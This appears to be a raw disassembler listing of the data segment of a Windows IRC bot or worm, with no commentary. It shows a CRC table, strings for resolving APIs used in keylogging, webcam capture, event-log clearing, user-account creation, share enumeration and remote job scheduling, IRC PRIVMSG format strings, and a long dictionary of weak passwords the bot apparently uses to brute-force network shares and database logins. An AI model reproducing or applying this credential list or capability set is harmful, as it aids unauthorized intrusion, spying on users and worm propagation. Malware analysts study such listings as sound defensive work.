dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
byte_42B630 db 72h, 62h, 0 ; DATA XREF: seg000:00411AA1o
byte_42B633 db 0 ; DATA XREF: seg000:00401171o
; sub_40274D+1CFDo ...
aSSS db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40123B+58o
aS db '%s',0 ; DATA XREF: sub_40123B+35o
; sub_40274D+659o ...
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40123B+16o
; sub_40274D+592o
aNotice db 'NOTICE',0 ; DATA XREF: sub_40123B+Fo
; sub_40274D+5A1o
align 4
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4012D6+C7Fo
align 10h
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4012D6+C77o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_4012D6:loc_401F40o
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4012D6+C15o
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4012D6+C08o
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4012D6+BFBo
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4012D6+BEEo
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4012D6+BE1o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4012D6+BD9o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4012D6:loc_401EA2o
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4012D6+B97o
align 4
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4012D6+B8Fo
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4012D6:loc_401E58o
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4012D6+B3Do
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4012D6+B30o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4012D6+B23o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4012D6+B1Bo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4012D6:loc_401DE4o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4012D6+AD9o
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4012D6+AD1o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4012D6:loc_401D9Ao
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4012D6+A8Fo
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4012D6+A87o
align 10h
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4012D6:loc_401D50o
align 4
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_4012D6+9F9o
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4012D6+9ECo
; sub_41B24B+47o
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4012D6+9DFo
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4012D6+9D2o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4012D6+9C5o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4012D6+9B8o
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4012D6+9ABo
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4012D6+99Eo
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4012D6+991o
align 10h
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4012D6+984o
align 10h
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4012D6+977o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4012D6+96Fo
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4012D6:loc_401C34o
; sub_41B24B+3Ao
align 4
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4012D6+921o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4012D6+914o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4012D6+90Co
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4012D6:loc_401BD5o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4012D6+8D2o
align 10h
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4012D6+860o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4012D6+853o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4012D6+846o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4012D6+839o
align 10h
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4012D6+82Co
align 10h
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4012D6+81Fo
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4012D6+812o
align 4
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4012D6+805o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4012D6+7F8o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4012D6+7F0o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4012D6:loc_401AB5o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_4012D6+6A6o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_4012D6+699o
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4012D6+68Co
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4012D6+67Fo
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_4012D6+672o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_4012D6+665o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4012D6+658o
align 4
aAccept db 'accept',0 ; DATA XREF: sub_4012D6+64Bo
align 4
aListen db 'listen',0 ; DATA XREF: sub_4012D6+63Eo
align 4
aSelect db 'select',0 ; DATA XREF: sub_4012D6+631o
align 4
aBind db 'bind',0 ; DATA XREF: sub_4012D6+629o
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4012D6+617o
align 4
aRecv db 'recv',0 ; DATA XREF: sub_4012D6+60Ao
align 10h
aSendto db 'sendto',0 ; DATA XREF: sub_4012D6+5FDo
align 4
aSend db 'send',0 ; DATA XREF: sub_4012D6+5F0o
; sub_40274D+44AAo
align 10h
aNtohl db 'ntohl',0 ; DATA XREF: sub_4012D6+5E3o
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_4012D6+5D6o
align 10h
aHtonl db 'htonl',0 ; DATA XREF: sub_4012D6+5C9o
align 4
aHtons db 'htons',0 ; DATA XREF: sub_4012D6+5BCo
align 10h
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4012D6+5AFo
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4012D6+5A2o
align 4
aConnect db 'connect',0 ; DATA XREF: sub_4012D6+595o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4012D6+588o
aSocket db 'socket',0 ; DATA XREF: sub_4012D6+57Bo
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4012D6+56Eo
align 10h
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4012D6+561o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4012D6+554o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4012D6+547o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4012D6+53Ao
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4012D6+52Do
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4012D6+525o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4012D6+514o
align 10h
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4012D6+4A1o
align 10h
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4012D6+494o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_4012D6+487o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4012D6+47Ao
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4012D6+46Do
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4012D6+460o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4012D6+453o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4012D6+446o
align 10h
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4012D6+43Eo
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4012D6:loc_401703o
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4012D6:loc_4016DBo
align 4
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4012D6+3ADo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4012D6+3A0o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4012D6+393o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4012D6+386o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_4012D6+379o
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4012D6+36Co
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4012D6+35Fo
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4012D6:loc_40162Do
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4012D6+327o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4012D6+31Ao
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4012D6:loc_4015E8o
align 10h
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_4012D6+2C6o
align 10h
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_4012D6+2B9o
align 10h
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4012D6+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4012D6+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4012D6+292o
align 10h
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4012D6+285o
align 10h
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4012D6+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4012D6+270o
align 10h
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4012D6:loc_401535o
align 10h
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_4012D6+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_4012D6+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_4012D6+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_4012D6:loc_4014CEo
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4012D6+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4012D6+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4012D6+186o
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4012D6+179o
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4012D6+16Co
align 4
aIswindow db 'IsWindow',0 ; DATA XREF: sub_4012D6+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4012D6+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4012D6+14Ao
align 10h
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4012D6:loc_40140Bo
; sub_428710+13o
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4012D6:loc_4013DEo
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4012D6+A0o
align 10h
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4012D6+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4012D6+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4012D6+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4012D6+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4012D6+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_4012D6+52o
align 10h
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4012D6+45o
align 10h
aProcess32first db 'Process32First',0 ; DATA XREF: sub_4012D6+38o
align 10h
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4012D6+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4012D6+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4012D6+Ao
align 4
unk_42BF4C db 2Dh ; - ; DATA XREF: sub_401F92+2F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aDllTestComplet db 'DLL test complete.',0
align 4
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+2CCo
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+264o
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+230o
align 4
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_401F92+1FCo
align 10h
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_401F92+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+194o
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_401F92+160o
align 4
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_401F92+12Co
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+C4o
align 4
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+90o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+28o
align 4
a__0: ; DATA XREF: seg000:0041108Co
; sub_412135+24Co
unicode 0, <.>,0
unk_42C0DC db 2Dh ; - ; DATA XREF: sub_4022F5:loc_4023C2o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 4
unk_42C10C db 2Dh ; - ; DATA XREF: sub_4022F5:loc_402393o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 4
unk_42C13C db 2Dh ; - ; DATA XREF: sub_4022F5:loc_402349o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheIsEmpt db 'ARP cache is empty',0
align 10h
unk_42C160 db 2Dh ; - ; DATA XREF: sub_4022F5+44o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_4023C9+41o
; seg000:0040BBF2o ...
aIntranet db 'intranet',0 ; DATA XREF: seg002:0043C48Co
align 4
aLan db 'lan',0 ; DATA XREF: seg002:0043C484o
aMain db 'main',0 ; DATA XREF: seg002:0043C480o
align 10h
aWinpass db 'winpass',0 ; DATA XREF: seg002:0043C47Co
aBlank db 'blank',0 ; DATA XREF: seg002:0043C478o
align 10h
aOffice db 'office',0 ; DATA XREF: seg002:0043C474o
align 4
aControl db 'control',0 ; DATA XREF: seg002:0043C470o
aXp db 'xp',0 ; DATA XREF: seg002:0043C46Co
align 4
aNokia db 'nokia',0 ; DATA XREF: seg002:0043C468o
align 4
aHp db 'hp',0 ; DATA XREF: seg002:0043C464o
align 10h
aSiemens db 'siemens',0 ; DATA XREF: seg002:0043C460o
aCompaq db 'compaq',0 ; DATA XREF: seg002:0043C45Co
align 10h
aDell db 'dell',0 ; DATA XREF: seg002:0043C458o
align 4
aCisco_0 db 'cisco',0 ; DATA XREF: seg000:0040C81Bo
; seg002:0043C454o
align 10h
aIbm db 'ibm',0 ; DATA XREF: seg002:0043C450o
aOrainstall db 'orainstall',0 ; DATA XREF: seg002:0043C448o
align 10h
aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: seg002:0043C444o
align 4
aSql db 'sql',0 ; DATA XREF: seg002:0043C440o
aSa db 'sa',0 ; DATA XREF: sub_40274D+1A13o
; seg002:0043C43Co
align 4
aDb1234 db 'db1234',0 ; DATA XREF: seg002:0043C438o
align 4
aDb1 db 'db1',0 ; DATA XREF: seg002:0043C430o
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: seg002:0043C42Co
align 4
aData db 'data',0 ; DATA XREF: seg002:0043C428o
align 4
aDatabasepass db 'databasepass',0 ; DATA XREF: seg002:0043C424o
align 4
aDbpassword db 'dbpassword',0 ; DATA XREF: seg002:0043C420o
align 10h
aDbpass db 'dbpass',0 ; DATA XREF: seg002:0043C41Co
align 4
aAccess db 'access',0 ; DATA XREF: seg002:0043C418o
align 10h
aDomainpassword db 'domainpassword',0 ; DATA XREF: seg002:0043C410o
align 10h
aDomainpass db 'domainpass',0 ; DATA XREF: seg002:0043C40Co
align 4
aDomain db 'domain',0 ; DATA XREF: seg002:0043C408o
align 4
aHello db 'hello',0 ; DATA XREF: seg002:0043C404o
align 4
aHell db 'hell',0 ; DATA XREF: seg002:0043C400o
align 4
aGod db 'god',0 ; DATA XREF: seg002:0043C3FCo
aSex db 'sex',0 ; DATA XREF: seg002:0043C3F8o
; seg002:off_4431D8o
aSlut db 'slut',0 ; DATA XREF: seg002:0043C3F4o
align 4
aBitch db 'bitch',0 ; DATA XREF: seg002:0043C3F0o
align 4
aFuck db 'fuck',0 ; DATA XREF: seg002:0043C3ECo
align 4
aExchange db 'exchange',0 ; DATA XREF: seg002:0043C3E8o
align 10h
aBackup db 'backup',0 ; DATA XREF: seg002:0043C3E4o
align 4
aTechnical db 'technical',0 ; DATA XREF: seg002:0043C3E0o
align 4
aLoginpass db 'loginpass',0 ; DATA XREF: seg002:0043C3DCo
align 10h
aLogin db 'login',0 ; DATA XREF: sub_40274D+9B8o
; seg002:0043C3D8o
align 4
aMary db 'mary',0 ; DATA XREF: seg002:0043C3D4o
align 10h
aKatie db 'katie',0 ; DATA XREF: seg002:0043C3D0o
align 4
aKate db 'kate',0 ; DATA XREF: seg002:0043C3C8o
align 10h
aGeorge db 'george',0 ; DATA XREF: seg002:0043C3C4o
align 4
aEric db 'eric',0 ; DATA XREF: seg002:0043C3C0o
align 10h
aChris db 'chris',0 ; DATA XREF: seg002:0043C3BCo
align 4
aIan db 'ian',0 ; DATA XREF: seg002:0043C3B8o
aNeil db 'neil',0 ; DATA XREF: seg002:0043C3B4o
align 4
aLee db 'lee',0 ; DATA XREF: seg002:0043C3B0o
aBrian db 'brian',0 ; DATA XREF: seg002:0043C3ACo
align 10h
aSusan db 'susan',0 ; DATA XREF: seg002:0043C3A4o
align 4
aSue db 'sue',0 ; DATA XREF: seg002:0043C3A0o
aSam db 'sam',0 ; DATA XREF: seg002:0043C39Co
aLuke db 'luke',0 ; DATA XREF: seg002:0043C398o
align 4
aPeter db 'peter',0 ; DATA XREF: seg002:0043C394o
; seg002:0043C3A8o
align 10h
aJohn db 'john',0 ; DATA XREF: seg002:0043C390o
align 4
aMike db 'mike',0 ; DATA XREF: seg002:0043C38Co
align 10h
aBill db 'bill',0 ; DATA XREF: seg002:0043C388o
align 4
aFred db 'fred',0 ; DATA XREF: seg002:0043C384o
align 10h
aJoe db 'joe',0 ; DATA XREF: seg002:0043C380o
aJen db 'jen',0 ; DATA XREF: seg002:0043C37Co
aBob db 'bob',0 ; DATA XREF: seg002:0043C378o
; seg002:0043C3CCo
aQwe db 'qwe',0 ; DATA XREF: seg002:0043C374o
aZxc db 'zxc',0 ; DATA XREF: seg002:0043C370o
aAsd db 'asd',0 ; DATA XREF: seg002:0043C36Co
aQaz db 'qaz',0 ; DATA XREF: seg002:0043C368o
aWin2000 db 'win2000',0 ; DATA XREF: seg002:0043C364o
aWinnt db 'winnt',0 ; DATA XREF: seg002:0043C360o
align 4
aWinxp db 'winxp',0 ; DATA XREF: seg002:0043C35Co
align 4
aWin2k db 'win2k',0 ; DATA XREF: seg002:0043C358o
align 4
aWin98 db 'win98',0 ; DATA XREF: seg002:0043C354o
align 4
aWindows db 'windows',0 ; DATA XREF: seg002:0043C350o
aOeminstall db 'oeminstall',0 ; DATA XREF: seg002:0043C34Co
align 4
aOemuser db 'oemuser',0 ; DATA XREF: seg002:0043C348o
aOem db 'oem',0 ; DATA XREF: seg002:0043C344o
aUser_0 db 'user',0 ; DATA XREF: sub_40274D+4422o
; seg002:0043C340o
align 4
aHomeuser db 'homeuser',0 ; DATA XREF: seg002:0043C33Co
align 4
aHome db 'home',0 ; DATA XREF: seg002:0043C338o
align 10h
aAccounting db 'accounting',0 ; DATA XREF: seg002:0043C334o
align 4
aAccounts db 'accounts',0 ; DATA XREF: seg002:0043C330o
align 4
aInternet db 'internet',0 ; DATA XREF: seg002:0043C32Co
; seg002:0043C488o
align 4
aWww db 'www',0 ; DATA XREF: seg002:0043C328o
aWeb db 'web',0 ; DATA XREF: seg002:0043C324o
aOutlook db 'outlook',0 ; DATA XREF: seg002:0043C320o
aMail db 'mail',0 ; DATA XREF: seg002:0043C31Co
align 4
aQwerty db 'qwerty',0 ; DATA XREF: seg002:0043C318o
align 4
aNull_1 db 'null',0 ; DATA XREF: seg002:0043C314o
align 4
aServer_1 db 'server',0 ; DATA XREF: sub_40274D+3BA6o
; seg002:0043C30Co
align 4
aSystem db 'system',0 ; DATA XREF: seg002:0043C308o
align 4
aChangeme db 'changeme',0 ; DATA XREF: seg002:0043C300o
align 4
aLinux db 'linux',0 ; DATA XREF: seg002:0043C2FCo
align 10h
aUnix db 'unix',0 ; DATA XREF: seg002:0043C2F8o
align 4
aDemo db 'demo',0 ; DATA XREF: seg002:0043C2F4o
align 10h
aNone db 'none',0 ; DATA XREF: seg002:0043C2F0o
align 4
aTest db 'test',0 ; DATA XREF: seg002:0043C2E8o
align 10h
a2004 db '2004',0 ; DATA XREF: seg002:0043C2E4o
align 4
a2003 db '2003',0 ; DATA XREF: sub_41D779+98o
; seg002:0043C2E0o
align 10h
a2002 db '2002',0 ; DATA XREF: seg002:0043C2DCo
align 4
a2001 db '2001',0 ; DATA XREF: seg002:0043C2D8o
align 10h
a2000 db '2000',0 ; DATA XREF: seg002:0043C2D4o
align 4
a1234567890 db '1234567890',0 ; DATA XREF: seg002:0043C2D0o
align 4
a123456789 db '123456789',0 ; DATA XREF: seg002:0043C2CCo
align 10h
a12345678 db '12345678',0 ; DATA XREF: seg002:0043C2C8o
align 4
a1234567 db '1234567',0 ; DATA XREF: seg002:0043C2C4o
a123456 db '123456',0 ; DATA XREF: seg002:0043C2C0o
align 4
a12345 db '12345',0 ; DATA XREF: seg002:0043C2BCo
align 4
a1234 db '1234',0 ; DATA XREF: seg002:0043C2B8o
align 4
a123 db '123',0 ; DATA XREF: seg002:0043C2B4o
a12 db '12',0 ; DATA XREF: seg002:0043C2B0o
align 4
a1: ; DATA XREF: seg002:0043C2ACo
unicode 0, <1>,0
a007 db '007',0 ; DATA XREF: seg002:0043C2A8o
aPwd db 'pwd',0 ; DATA XREF: seg002:0043C2A4o
aPass_0 db 'pass',0 ; DATA XREF: seg002:0043C2A0o
align 4
aPass1234 db 'pass1234',0 ; DATA XREF: seg002:0043C29Co
align 4
aPasswd db 'passwd',0 ; DATA XREF: seg002:0043C298o
align 4
aPassword db 'password',0 ; DATA XREF: seg002:0043C294o
align 4
aPassword1 db 'password1',0 ; DATA XREF: seg002:0043C290o
align 4
aAdm db 'adm',0 ; DATA XREF: seg002:0043C28Co
aDb2 db 'db2',0 ; DATA XREF: seg002:0043C268o
; seg002:0043C434o
aOracle db 'oracle',0 ; DATA XREF: seg002:0043C264o
; seg002:0043C44Co
align 4
aDba db 'dba',0 ; DATA XREF: seg002:0043C260o
aDatabase db 'database',0 ; DATA XREF: seg002:0043C25Co
; seg002:0043C414o
align 4
aDefault db 'default',0 ; DATA XREF: seg002:0043C258o
; seg002:0043C304o
aGuest_0 db 'guest',0 ; DATA XREF: seg002:0043C254o
; seg002:0043C2ECo
align 4
aWwwadmin db 'wwwadmin',0 ; DATA XREF: seg002:0043C250o
align 10h
aTeacher db 'teacher',0 ; DATA XREF: seg002:0043C24Co
; seg002:0043C494o
